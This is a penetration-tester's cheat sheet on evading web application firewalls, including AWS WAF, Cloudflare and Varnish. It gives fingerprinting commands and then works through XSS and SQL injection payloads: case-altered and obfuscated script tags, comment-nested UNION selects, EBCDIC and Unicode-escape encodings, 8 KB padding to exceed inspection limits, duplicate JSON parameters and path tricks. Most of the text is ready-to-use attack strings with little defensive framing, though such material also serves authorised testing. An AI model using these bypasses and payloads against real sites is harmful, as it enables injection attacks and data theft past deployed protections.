- 5 Ways I Bypassed Your Web Application Firewall (WAF) (Medium)
- 3 Easy Web Application Firewall (WAF) Bypasses (YouTube)
- AWS Managed Rules rule groups list (Amazon)
Fingerprinting the WAF
Tools: nmap, wafw00f, whatwaf
Look in the server response headers for clues, look at cookies.
Nmap
nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
AWS WAF example
HTTP/2 403 Forbidden
Server: awselb/2.0
[...]
Identify what is blocked
Isolate what is blocked within our specific payload and target that specific part. Considering this basic XSS payload:
<img src=x onerror=prompt()>
Send different parts or variations of the payload to identify which part is blocked:
- Specific characters, like “<“, “>”
- A specific keyword, like “onerror”
- A combination of keywords, like “img” + “onerror”
- A specific path
Obfuscation
Try obfuscating the payload. Try bypassing the regex filtering done by both the WAF and web server. Easier when the regex is accessible.
- Use an alternative syntax
- Use line breaks or tabs
Case manipulation
When some keywords are blocked, change the case.
Example – Keyword “script” is blocked
<script>alert(XSS)</script>
<sCrIpT>alert(XSS)</sCriPt>
Example – Keyword “onerror” is blocked
<img src=x onerror=prompt()>
<img src=x oNError=prompt()>
Substitute functions or characters
Try replacing characters like whitespaces, adding comments, etc.
Substitute functions
Try replacing a blocked function by another function.
<img src=x onerror=prompt()>
<img src=x onmouseover=prompt()>
Cloudflare – Bypass by replacing the space ” ” character
Use a comment within a comment. See blog post above.
/*/**/*/
Example with SQLi
'/*!Union/*Whatever*/*/ select 1,2,3,table_name,5,6 from information_schema.tables ...
Use various encodings
Try other encodings, double-encoding, etc.
Use CyberChef with “Encode text” then “URL Encode” recipe. Chose encoding like “IBM EBCDIC US-Canada (37)” and add the appropriate Content-Type header.
POST ...
Content-Type: application/json;charset=ibm037
%C3%80%7F%C2%97%C2%81%C2%99%C2%81%C2%94%7Fz%7F%C2%A5%C2%81%C2%93%C2%A4%C2%85%7F%C3%90
AWS WAF – Bypass with encoding
AWS WAF, in its current implementation, does not decode escape sequences inside JSON keys when matching a given JSON Pointer of a rule. This behavior can be exploited to bypass rules that specifically target the value of a parameter, such as the “id” parameter. By replacing any character of the key with a Unicode escape sequence, an attacker can effectively evade the rule and potentially pass malicious content undetected.
POST /some-vulnerable-api HTTP/2
Host: ...
{"\u0070aram1":"some payload"}
Fuzzing
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Configurations
Try to bypass weaknesses in how the WAF is configured.
Content Size
In some cloud-based WAFs, the request will not be checked if the payload exceeds a certain size. In these scenarios, it is possible to bypass the firewall by increasing the size of the request body or URL.
Insert 8KB of “a” characters before the payload
Try various sizes, could be 16KB.
<img src=x onerror=prompt()>
aaaaaaaaaa...aaaa<img src=x onerror=prompt()>
JSON examples
POST /some-vulnerable-api HTTP/2
Host: ...
{<Insert 8192 space characters here>"param1":"payload"}
POST /some-vulnerable-api HTTP/2
Host: ...
{"dummy":"<Insert 8192 characters here>", param1":"payload"}
AWS WAF – Bypass for SQLi
- Bypass AWS WAF – SQL Injection (Youtube)
- Request components in AWS WAF – JSON Body (Amazon)
- Using text transformations in Amazon WAF (Amazon)
- AWS WAF Bypass: invalid JSON object and unicode escape sequences (Sicuranext)
Also works for XSS payloads
For JSON body inspection, only the first 8 KB (8,192 bytes) of the request body are forwarded to AWS WAF for inspection. Add 8 KB of spaces before the payload in the body.
For Application Load Balancer and AWS AppSync, AWS WAF can inspect the first 8 KB of the body of a request. For CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access, by default, AWS WAF can inspect the first 16 KB, and you can increase the limit up to 64 KB in your web ACL configuration.
Most site have JSON protection so this would not work.
POST /some-vulnerable-api HTTP/2
Host: ...
{<Insert 8192 space characters here>"param1":"SQLi payload"}
Generate a string of 1024 characters. Set a global variable “waf_bypass” with HackVertor in Burp Suite:
msf-pattern_create -l 1024
If there is some JSON protection, add another JSON attribute and add the characters in there…
POST /some-vulnerable-api HTTP/2
Host: ...
{"whatever":"<@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/><@get_waf_bypass/>","param1":"SQLi payload"}
URL Path
If a specific path is blocked, try accessing the resource with another path.
/path/somepath/ # Blocked by the WAF
/path/./somepath/ # NOT blocked by the WAF
Bypass with duplicate parameter
Try duplicating the parameter.
AWS WAF – Bypass with duplicate parameter
This depends on the rule used for invalid JSON handler. The default option is “None”, which means taking no action and proceed with the request.
POST /some-vulnerable-api HTTP/2
Host: ...
{"param1":"whatever", "param1":"some payload"}
Add headers
Append a fake HTTP header ‘X-Forwarded-For’ (and alike).
Varnish WAF – Bypass
Append HTTP header ‘X-originating-IP’.
Inconsistencies
Try to bypass the WAF using inconsistencies in how different technologies process data.
Application-specific behavior
Start by observing how characters are processes by the application.
testing of input<>!@#$%^&'*":
testing of input<>!@#$%^&'*:
The application processes the payload and changes it. For example the application removes the double-quotes from the payload. In this case, add double-quotes within each keyword to bypass blocked keywords.
<img src=x onerror=prompt()>
<im"g sr"c=x onerro"r=promp"t()>
Other ideas
Inspect tamper scripts from SQLmap
Inspect scripts and try these ideas.
sqlmap --list-tampers